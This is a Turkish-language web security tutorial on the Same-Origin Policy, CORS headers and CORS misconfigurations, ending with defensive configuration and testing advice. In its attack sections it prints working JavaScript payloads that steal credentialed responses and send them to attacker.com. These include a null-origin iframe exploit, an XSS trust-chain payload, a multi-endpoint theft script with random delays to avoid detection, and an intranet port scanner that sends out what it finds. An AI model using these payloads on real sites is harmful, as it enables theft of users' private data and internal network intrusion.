Cross-Origin Resource Sharing (CORS)

CORS güvenlik açıklarını anlayın ve web uygulamalarınızı cross-origin saldırılarından koruyun

Access-Control-Allow-Origin: *

Same-Origin Policy (SOP)

Same-Origin Policy, web tarayıcılarının temel güvenlik mekanizmasıdır. Bir origin'den gelen script'lerin başka bir origin'deki verilere erişimini kısıtlar ve web sitelerinin birbirlerine saldırmasını engellemeyi amaçlar.

Origin Tanımı: Origin = URI scheme + domain + port
Örnek: http://normal-website.com/example/example.html
  • Scheme: http
  • Domain: normal-website.com
  • Port: 80 (default)
// Same-Origin Policy Kontrol Tablosu
// Ana URL: http://normal-website.com/example/example.html

✅ http://normal-website.com/example/          // Aynı scheme, domain, port
✅ http://normal-website.com/example2/         // Aynı scheme, domain, port
❌ https://normal-website.com/example/         // Farklı scheme ve port
❌ http://en.normal-website.com/example/       // Farklı domain
❌ http://www.normal-website.com/example/      // Farklı domain
❌ http://normal-website.com:8080/example/     // Farklı port
SOP'nin Önemi:
SOP olmadan, kötü amaçlı bir web sitesi ziyaret ettiğinizde Gmail e-postalarınızı, Facebook mesajlarınızı ve diğer kişisel verilerinizi okuyabilir. SOP, authentication cookie'leri dahil olmak üzere cross-origin isteklerde gönderilen tüm cookie'leri kontrol eder.
SOP İmplementasyonu
Kontrol Kapsamı: JavaScript'in cross-domain içeriğe erişimi
İzin Verilen: <img>, <video>, <script> tag'leri ile kaynak yükleme
Kısıtlanan: JavaScript'in bu kaynakların içeriğini okumas
SOP İstisnalar ve Gevşetme
Bazı durumlarda SOP kuralları gevşetilmiştir veya istisnalar bulunur.
// SOP İstisnaları:

// 1. Yazılabilir ama okunamaz objeler
window.location.href = "https://other-site.com"; // ✅ İzin verilen
var url = iframe.contentWindow.location.href;    // ❌ Engellenen

// 2. Okunabilir ama yazılamaz objeler
var frameCount = window.length;    // ✅ Frame sayısı okunabilir
var isClosed = window.closed;      // ✅ Window durumu okunabilir

// 3. Cross-domain fonksiyon çağrıları
otherWindow.close();               // ✅ İzin verilen
otherWindow.blur();                // ✅ İzin verilen
otherWindow.focus();               // ✅ İzin verilen
otherWindow.postMessage("data", "*"); // ✅ Cross-origin mesajlaşma

// 4. Cookie gevşekliği - subdomain erişimi
// Cookie'ler teknik olarak farklı origin'ler olsa da subdomain'ler arasında erişilebilir
document.domain ile SOP Gevşetme:
document.domain özelliği kullanarak aynı FQDN altındaki domain'ler arası erişim sağlanabilir. Ancak bu güvenlik riski oluşturabilir ve modern tarayıcılarda kısıtlanmıştır.

CORS Nedir?

Cross-Origin Resource Sharing (CORS), Same-Origin Policy'nin kontrollü gevşetilmesini sağlayan bir mekanizmadır. HTTP header'ları kullanarak farklı domain'ler arasında güvenli kaynak paylaşımına olanak tanır ancak yanlış yapılandırıldığında ciddi güvenlik açıklarına yol açabilir.

CORS vs SOP İlişkisi:
• SOP varsayılan olarak cross-origin istekleri engeller
• CORS bu kısıtlamayı kontrollü şekilde gevşetir
• CORS, SOP'nin yerini almaz, ona esneklik katar
• Yanlış CORS konfigürasyonu SOP korumasını tamamen ortadan kaldırabilir
Browser
Origin: evil.com
CORS Request
XMLHttpRequest
Target Server
victim.com
CORS Response
Allow/Deny
CORS vs SOP: Same-Origin Policy varsayılan olarak cross-origin istekleri engeller. CORS bu kısıtlamayı kontrollü şekilde gevşetir.

Access-Control-Allow-Origin Header

Access-Control-Allow-Origin header'ı, CORS mekanizmasının en kritik bileşenidir. Bir web sitesinden gelen isteğin hangi origin'lerden kabul edileceğini belirler ve tarayıcı bu header'ı kontrol ederek cross-origin erişime izin verir veya engeller.

// Temel CORS isteği ve yanıtı
// İstek:
GET /data HTTP/1.1
Host: robust-website.com
Origin: https://normal-website.com

// Yanıt:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://normal-website.com

// Tarayıcı kontrolü: Origin === ACAO header → Erişim izni verilir
ACAO Header Değerleri:
  • Specific origin: https://trusted-site.com
  • Wildcard: * (tüm origin'lere izin)
  • Null değer: null (özel durumlar için)
  • Multiple origins: Tarayıcılar desteklemez
Geçersiz ACAO Formatları:
Access-Control-Allow-Origin: https://*.normal-website.com
Wildcard sadece tek başına (*) kullanılabilir, diğer değerlerle karıştırılamaz.
Dinamik ACAO Header Üretimi
Bazı sunucular CORS kısıtlamalarını aşmak için client-specified origin'e dayalı dinamik header üretir. Bu yaklaşım güvenlik açığı oluşturur ve exploit edilebilir.

CORS ile Credentials Yönetimi

Cross-origin isteklerde varsayılan olarak cookie'ler ve Authorization header'ları gönderilmez. Access-Control-Allow-Credentials header'ı true olarak ayarlandığında, credential'lar ile cross-origin isteklere izin verilir.

// Credential'lar ile CORS isteği
GET /data HTTP/1.1
Host: robust-website.com
Origin: https://normal-website.com
Cookie: JSESSIONID=ABC123XYZ

// Güvenli yanıt
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: true

// JavaScript ile credential gönderimi
fetch('https://api.example.com/data', {
    method: 'GET',
    credentials: 'include'  // Cookie'leri dahil et
});

// XMLHttpRequest ile
xhr.withCredentials = true;
Tehlikeli Kombinasyon - Asla Kullanılmamalı:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Bu kombinasyon herhangi bir site'ın authenticated content'e erişmesine olanak tanır ve CORS spesifikasyonu tarafından yasaklanmıştır.

CORS Preflight Kontrolleri

Preflight kontrolleri, CORS spesifikasyonuna legacy kaynaklarını korumak için eklenmiştir. Non-standard HTTP metotları veya header'lar kullanıldığında, asıl istekten önce OPTIONS metoduyla bir preflight isteği gönderilir.

// Preflight isteği tetikleyen durumlar:
// - PUT, DELETE, PATCH gibi non-simple metotlar
// - Custom header'lar
// - application/json content-type

// Preflight isteği:
OPTIONS /data HTTP/1.1
Host: api.example.com
Origin: https://webapp.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header

// Preflight yanıtı:
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://webapp.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

// Preflight başarılı ise asıl istek gönderilir:
PUT /data HTTP/1.1
Host: api.example.com
Origin: https://webapp.com
Special-Request-Header: custom-value
Content-Type: application/json
Simple Request'ler (Preflight gerektirmez):
  • Metotlar: GET, HEAD, POST
  • Header'lar: Accept, Accept-Language, Content-Language
  • Content-Type: application/x-www-form-urlencoded, multipart/form-data, text/plain
Preflight Performans Etkisi:
Preflight kontrolleri ek HTTP round-trip gerektirir. Access-Control-Max-Age header'ı ile cache süresi ayarlanarak performans iyileştirilebilir.

CORS ve CSRF İlişkisi

Yaygın yanlış anlama: CORS, CSRF saldırılarına karşı koruma sağlamaz. CORS, Same-Origin Policy'nin kontrollü gevşetilmesidir, bu nedenle yanlış yapılandırılmış CORS aslında CSRF saldırı olasılığını artırabilir.

CORS ≠ CSRF Koruması:
• CORS cross-origin okuma erişimini kontrol eder
• CSRF cross-origin yazma saldırılarıdır
• HTML form'lar ve resource include'ları CORS bypass eder
• CSRF koruması için ayrı token mekanizması gerekir
// CORS olmadan CSRF saldırısı hala mümkün:

// 1. HTML Form ile
<form action="https://bank.com/transfer" method="POST">
    <input type="hidden" name="amount" value="1000000">
    <input type="hidden" name="to" value="attacker_account">
</form>
<script>document.forms[0].submit();</script>

// 2. Image tag ile
<img src="https://api.site.com/delete-user?id=123">

// 3. Script tag ile
<script src="https://api.site.com/admin-action?cmd=delete_all"></script>

// Bu saldırılar CORS kontrollerini bypass eder çünkü:
// - HTML form'lar CORS'a tabi değil
// - Image ve script loading SOP izni var
// - Response okunamasa da action execute edilir
Güvenlik Hatası:
CORS yapılandırması tek başına web uygulaması güvenliğini sağlamaz. Server-side authentication, authorization, CSRF token'ları ve diğer güvenlik kontrolleri mutlaka implementıe edilmelidir.

CORS Güvenlik Açıkları

CORS yapılandırma hataları, saldırganların cross-origin saldırıları gerçekleştirmesine olanak tanır. Bu açıklar genellikle aşırı esnek politikalar nedeniyle ortaya çıkar.

1. Server-Generated ACAO Header
Sunucu, Origin header'ından gelen değeri doğrudan Access-Control-Allow-Origin'e yansıtır. Bu, herhangi bir domain'in erişim sağlamasına olanak tanır.
// Saldırgan isteği
GET /sensitive-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=abc123

// Sunucu yanıtı
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
{"api_key": "secret_key_123", "user_data": "..."}
2. Origin Header Parsing Hataları
Whitelist kontrollerindeki regex hataları veya string matching sorunları, saldırganların güvenlik kontrollerini atlatmasına yol açabilir.
// Güvensiz whitelist kontrolü
if (origin.endsWith("example.com")) {
    setHeader("Access-Control-Allow-Origin", origin);
}

// Saldırı: Origin: https://evilexample.com
// Sonuç: "evilexample.com".endsWith("example.com") = true

// Prefix bypass
if (origin.startsWith("https://trusted.com")) {
    setHeader("Access-Control-Allow-Origin", origin);
}

// Saldırı: Origin: https://trusted.com.evil.com
3. Null Origin Whitelisting
Bazı uygulamalar geliştirme kolaylığı için "null" origin'ini whitelist'e alır. Bu durum sandboxed iframe'ler ile sömürülebilir.
// Güvensiz null origin kabul etme
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

// Saldırı vektörü
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" 
        src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = function() {
    location='//attacker.com/steal?data='+this.responseText;
};
req.open('get', 'https://vulnerable-site.com/api/data', true);
req.withCredentials = true;
req.send();
</script>"></iframe>
Null Origin Tetikleme Durumları:
• Sandboxed iframe'ler
• Cross-origin redirects
• file:// protokolü ile açılan dosyalar
• data: URL'leri
• Serialized data requests

XSS ile CORS Trust İlişkisi Sömürüsü

Doğru yapılandırılmış CORS bile, güvenilen bir origin'de XSS açığı bulunması durumunda sömürülebilir. Saldırgan XSS ile JavaScript enjekte ederek CORS trust ilişkisini kötüye kullanabilir.

// Ana site CORS politikası
GET /api/user-data HTTP/1.1
Host: secure-site.com
Origin: https://trusted-subdomain.secure-site.com

// Sunucu yanıtı
Access-Control-Allow-Origin: https://trusted-subdomain.secure-site.com
Access-Control-Allow-Credentials: true

// XSS payload subdomain'de
https://trusted-subdomain.secure-site.com/search?q=<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://secure-site.com/api/user-data', true);
xhr.withCredentials = true;
xhr.onload = function() {
    fetch('https://attacker.com/collect', {
        method: 'POST',
        body: xhr.responseText
    });
};
xhr.send();
</script>
Trust Chain Saldırısı:
Güvenilen bir subdomain'deki XSS açığı, tüm CORS güvenlik modelini çökertebilir. Bu nedenle güvenilen origin'lerin de düzenli güvenlik denetimine tabi tutulması gerekir.

CORS ile TLS Güvenliğinin Kırılması

HTTPS kullanan bir uygulama, HTTP protokolü kullanan güvenilir bir subdomain'i whitelist'e aldığında, saldırgan man-in-the-middle saldırısı ile TLS korumasını bypass edebilir.

// HTTPS ana site
GET /api/sensitive-data HTTP/1.1
Host: secure-bank.com
Origin: http://legacy.secure-bank.com

// Güvensiz CORS politikası
Access-Control-Allow-Origin: http://legacy.secure-bank.com
Access-Control-Allow-Credentials: true

// Saldırı senaryosu:
// 1. Kullanıcı HTTP isteği yapar
// 2. Saldırgan redirect enjekte eder: http://legacy.secure-bank.com
// 3. Saldırgan HTTP yanıtını taklit eder ve CORS payload gönderir
// 4. Tarayıcı CORS isteğini yapar: Origin: http://legacy.secure-bank.com
// 5. Hassas veriler HTTP üzerinden saldırgana gönderilir
TLS Bypass Saldırı Adımları:
• Kurban plain HTTP isteği yapar
• Saldırgan HTTP subdomain'e redirect yapar
• Sahte CORS response ile saldırı payload'u çalıştırılır
• HTTPS ana siteden veriler HTTP üzerinden çalınır

CORS Saldırı Teknikleri

CORS açıklarını sömürmek için çeşitli JavaScript teknikleri kullanılır. Bu saldırılar genellikle kurban kullanıcının tarayıcısında çalışan cross-origin istekleri içerir.

Temel CORS Saldırı Payload'u
Aşağıdaki JavaScript kodu saldırgan web sitesine yerleştirilerek kurban kullanıcısının hassas verilerini çalabilir.
// Saldırgan web sitesindeki payload
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('GET', 'https://victim-site.com/api/user-profile', true);
req.withCredentials = true;
req.send();

function reqListener() {
    // Çalınan veriyi saldırgana gönder
    location = 'https://attacker.com/collect?data=' + 
               btoa(this.responseText);
}

// Alternatif: Fetch API kullanımı
fetch('https://victim-site.com/api/sensitive-data', {
    method: 'GET',
    credentials: 'include'
}).then(response => response.text())
  .then(data => {
    // Veriyi gizlice dışarı gönder
    navigator.sendBeacon('https://attacker.com/collect', data);
  });
Gelişmiş Sömürü Teknikleri
Saldırganlar tespit edilmeyi zorlaştırmak için çeşitli gizleme teknikleri kullanabilirler.
// Asenkron veri çalma - tespit edilmesi zor
async function stealData() {
    const endpoints = [
        '/api/profile',
        '/api/messages', 
        '/api/contacts',
        '/api/documents'
    ];
    
    for (const endpoint of endpoints) {
        try {
            const response = await fetch(`https://victim.com${endpoint}`, {
                credentials: 'include'
            });
            
            if (response.ok) {
                const data = await response.text();
                // Veriyi parça parça gönder
                setTimeout(() => {
                    new Image().src = `https://collect.evil.com/?data=${btoa(data)}`;
                }, Math.random() * 5000);
            }
        } catch (e) {
            console.log('Endpoint failed:', endpoint);
        }
    }
}

// DOM yüklendikten sonra çalıştır
document.addEventListener('DOMContentLoaded', stealData);

İntranet CORS Saldırıları

İç ağdaki uygulamalar genellikle daha düşük güvenlik standartlarına sahiptir. Wildcard (*) origin ile yapılandırılmış internal servisler, external web sitelerinden sömürülebilir.

// İntranet servisi - gevşek CORS politikası
Access-Control-Allow-Origin: *
// Credentials olmadığı için görece güvenli gibi görünür

// Saldırı: Public web sitesinden internal network tarama
const internalIPs = [
    '192.168.1.1', '192.168.1.100', '192.168.1.200',
    '10.0.0.1', '10.0.0.100', '172.16.0.1'
];

const commonPorts = [8080, 8000, 9000, 3000, 5000];

internalIPs.forEach(ip => {
    commonPorts.forEach(port => {
        fetch(`http://${ip}:${port}/api/status`)
            .then(response => response.text())
            .then(data => {
                console.log(`Found service: ${ip}:${port}`);
                // Internal servis bilgilerini dışarı gönder
                new Image().src = `https://attacker.com/found?host=${ip}&port=${port}&data=${btoa(data)}`;
            })
            .catch(e => {/* Service not found */});
    });
});
İntranet Tehditleri:
• Internal network keşfi ve haritalama
• Güvenlik kamerası ve IoT cihaz erişimi
• Admin panelleri ve development araçları
• Database ve monitoring sistemleri

CORS Güvenlik Önlemleri

CORS tabanlı saldırıları önlemek için doğru yapılandırma ve güvenlik en iyi uygulamaları kritik öneme sahiptir.

Güvenli CORS Yapılandırması:
• Specific origin'ler belirtin, wildcard (*) kullanmayın
• Credentials gerekli değilse Access-Control-Allow-Credentials kullanmayın
• Minimum gerekli HTTP metotlarını whitelist'e alın
• Origin doğrulamasını server-side yapın
// Güvenli CORS yapılandırması örneği (Node.js/Express)
const allowedOrigins = [
    'https://trusted-domain.com',
    'https://app.company.com',
    'https://admin.company.com'
];

app.use(cors({
    origin: function (origin, callback) {
        // Origin kontrolü
        if (!origin || allowedOrigins.includes(origin)) {
            callback(null, true);
        } else {
            callback(new Error('CORS policy violation'));
        }
    },
    credentials: true,
    methods: ['GET', 'POST'],
    allowedHeaders: ['Content-Type', 'Authorization'],
    maxAge: 600 // 10 dakika cache
}));

// Alternatif: Manuel kontrol
function validateOrigin(req, res, next) {
    const origin = req.headers.origin;
    const allowedOrigins = ['https://trusted-site.com'];
    
    if (allowedOrigins.includes(origin)) {
        res.setHeader('Access-Control-Allow-Origin', origin);
        res.setHeader('Access-Control-Allow-Credentials', 'true');
    }
    next();
}
Güvenli Origin Doğrulaması
Exact match: Tam eşleşme kontrolü yapın
Whitelist: İzin verilen domain listesi tutun
Regex dikkat: Regex kullanırken bypass'lara dikkat edin
Null check: null origin'i production'da kabul etmeyin
Ek Güvenlik Header'ları
CORS'a ek olarak diğer güvenlik header'ları da kullanarak defense-in-depth stratejisi uygulayın.
// Ek güvenlik header'ları
Content-Security-Policy: default-src 'self'; connect-src 'self' https://trusted-api.com;
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Referrer-Policy: strict-origin-when-cross-origin
Strict-Transport-Security: max-age=31536000; includeSubDomains

// SameSite cookie attribute
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly
CORS Güvenlik İzleme:
  • Log analizi: Unusual origin pattern'lerini takip edin
  • Rate limiting: Cross-origin istekleri için rate limit uygulayın
  • Alerting: Şüpheli CORS aktiviteleri için alarm kurun
  • Penetration testing: Düzenli CORS güvenlik testleri yapın

CORS Güvenlik Testleri

CORS açıklarını tespit etmek için manuel ve otomatik test teknikleri kullanılabilir.

// Burp Suite ile CORS testi
// 1. Origin header'ı manipüle et
Origin: https://evil.com

// 2. Farklı varyasyonları dene
Origin: null
Origin: https://trusted-site.com.evil.com
Origin: https://evil-trusted-site.com

// 3. Response'ta şunları kontrol et
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

// Manual test script
function testCORS(targetURL) {
    const testOrigins = [
        'https://evil.com',
        'null',
        'https://target.com.evil.com',
        'https://trusted-domain.com'
    ];
    
    testOrigins.forEach(origin => {
        fetch(targetURL, {
            method: 'GET',
            headers: { 'Origin': origin },
            credentials: 'include'
        }).then(response => {
            const allowOrigin = response.headers.get('access-control-allow-origin');
            const allowCreds = response.headers.get('access-control-allow-credentials');
            
            if (allowOrigin && allowOrigin.includes(origin)) {
                console.log(`CORS vulnerability found: ${origin}`);
                console.log(`Credentials allowed: ${allowCreds}`);
            }
        });
    });
}
CORS Test Araçları
Burp Suite: Professional web application scanner
OWASP ZAP: Free security testing proxy
CORScanner: Automated CORS vulnerability scanner
Browser DevTools: Network tab ile manual testing

CORS Güvenliği Özet

Temel Kurallar:
• Wildcard (*) origin ile credentials kullanmayın
• Origin whitelist'ini sıkı tutun
• Null origin'i production'da kabul etmeyin
• Güvenilir subdomain'lerde XSS kontrolü yapın
• HTTP/HTTPS karışık kullanımdan kaçının
En İyi Uygulamalar
Defense in Depth: Sadece CORS'a güvenmeyin
Regular Testing: CORS politikalarını düzenli test edin
Monitoring: Unusual cross-origin activity'yi izleyin
Documentation: CORS konfigürasyonunu belgelendirin

Access-Control-Allow-Security: maximum;